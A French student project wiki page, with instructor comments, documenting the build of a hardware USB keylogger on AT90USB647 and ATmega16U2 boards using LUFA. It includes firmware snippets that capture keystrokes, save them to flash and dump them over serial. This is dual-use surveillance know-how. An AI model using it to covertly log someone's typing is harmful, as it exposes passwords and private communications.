void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>Et pour la réception :<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

Fichier:2023 EC5 Keylogger.zip

2023-08-14T18:59:30Z

Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip

== Description ==
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2

SE4 2022/2023 EC5

2023-08-14T18:50:00Z

Bnguyen1 : /* Documents Rendus */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
